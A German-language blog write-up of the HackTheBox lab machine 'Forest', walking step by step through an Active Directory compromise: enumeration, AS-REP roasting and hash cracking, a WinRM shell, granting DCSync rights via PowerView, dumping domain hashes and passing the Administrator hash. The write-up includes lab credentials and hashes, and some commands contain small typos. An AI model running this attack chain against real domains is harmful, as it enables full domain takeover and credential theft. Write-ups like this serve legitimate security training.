HTB Forest Writeup

Einleitung

„Forest“ ist eine Windows-Maschine, die Active Directory (AD) verwendet. Dieses Writeup beschreibt die Schritte, um Benutzerinformationen zu sammeln, Schwachstellen auszunutzen und letztendlich Zugriff auf den Domain Controller zu erlangen.

Reconnaissance

1. Nmap-Scan

Führen Sie einen Nmap-Scan durch, um offene Ports und Dienste zu identifizieren.

nmap -sC -sV -oA forest 10.10.10.161

Nmap scan report for 10.10.10.161
Host is up (0.025s latency).
Not shown: 65511 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49668/tcp open unknown
49671/tcp open unknown
49676/tcp open unknown
49677/tcp open unknown
49684/tcp open unknown
49703/tcp open unknown
49974/tcp open unknown

Enumeration

2. Benutzerenumeration

Verwenden Sie enum4ling-ng, um eine Liste der Benutzer im AD zu erhalten.

enum4linux-ng -A -U "guest" -P "guest" 10.10.10.116

'1145':
username: sebastien
name: Sebastien Caron
acb: '0x00000210'
description: (null)
'1146':
username: lucinda
name: Lucinda Berger
acb: '0x00000210'
description: (null)
'1147':
username: svc-alfresco
name: svc-alfresco
acb: '0x00010210'
description: (null)
'1150':
username: andy
name: Andy Hislip
acb: '0x00000210'
description: (null)
'1151':
username: mark
name: Mark Brandt
acb: '0x00000210'
description: (null)
'1152':
username: santi
name: Santi Rodriguez
acb: '0x00000210'
description: (null)
'500':
username: Administrator
name: Administrator
acb: '0x00000010'
description: Built-in account for administering the computer/domain
'501':
username: Guest
name: (null)
acb: '0x00000215'
description: Built-in account for guest access to the computer/domain
'502':
username: krbtgt
name: (null)
acb: '0x00000011'
description: Key Distribution Center Service Account
'503':
username: DefaultAccount
name: (null)
acb: '0x00000215'
description: A user account managed by the system.

Speichern Sie die Benutzernamen in einer Datei namens users.txt.

3. AS-REP Roasting

Überprüfen Sie, ob Benutzer das UF_DONT_REQUIRE_PREAUTH Attribut haben und sammeln Sie ihre AS-REP-Tickets. Wir haben das TGT Ticket von svc-alfresco bekommen.

GetNPUsers.py htb.local/ -no-pass -usersfile users.txt -dc-ip 10.10.10.161

[email protected]:a8a4ff2a7807d0860a6a294815bfb8cd$6a6f35b66b56c6ce8a226f1d07f694dffb59bb966bd28ea4712f597fab3d3c84f378ea9d9710f5ad102d59a13109ac46ddd333b4b05ee16b604fc226c1121043d20b0de804e25c73cf76bbd0da8d7505c7bd63193fae06ee3fa985274c8e7733190e5c10b2ee2f91da1dcb8c13e753195da63be8291ab951828af9cb5947743d4e1cc6496531de8b2476eacc3f5d2ffe97d9636ef508ca5c97915b73c5b048fd8d5eda664624cb8c507787d61278b8e63ce38632e1d7a8f34f7ad983c62df9d36230b99534fb2735a35fcfefbe5b94575b5a4932c5208dcefa22d1b67f982b897dbe51e1e8b2

Passwort-Cracking

4. Hash Cracking

Knacken Sie die gesammelten Hashes mit Hashcat oder John the Ripper.

hashcat -m 18200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

Zugriff auf das System

5. SMB- und WinRM-Verbindung

Überprüfen Sie die Anmeldeinformationen mit CrackMapExec.

crackmapexec smb 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'

6. Remote Shell

Verwenden Sie Evil-WinRM, um eine Remote-Shell zu erhalten.

evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'

Post-Exploitation

7. BloodHound Enumeration

Laden Sie SharpHound hoch und führen Sie es aus, um AD-Informationen zu sammeln.

upload /path/to/SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\svc-alfresco\Documents\

Analysieren Sie die Daten mit BloodHound.

neo4j console
bloodhound

8. Privilegieneskalation

Nutzen Sie die gesammelten Informationen, um sich DCSync-Rechte zu verschaffen.

net user john abc123! /add /domain

net group "Exchange Windows Permissions" john /ad

net localgroup "Remote Management Users" john /add

$SecPassword = ConvertTo-SecureString "abc123!" -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential("htb.local\john", $SecPassword)

Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity "john" -RightsToAdd DCSync

9. DC-Sync

Nun kann das Tool impacket-secretsdump mit dem Befehl
impacket-secretsdump htb.local/[email protected] | tee ntds_hashes.txt verwendet werden.

10. Root-Flag

Nun kann der Administrator Hash verwendet werden um sich per Win-RM am System anzumelden
evil-winrm -i 10.10.10.161 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6

Schreibe einen Kommentar

Your email address will not be published. Required fields are marked *.

*
*
You may use these <abbr title="HyperText Markup Language">HTML</abbr> tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>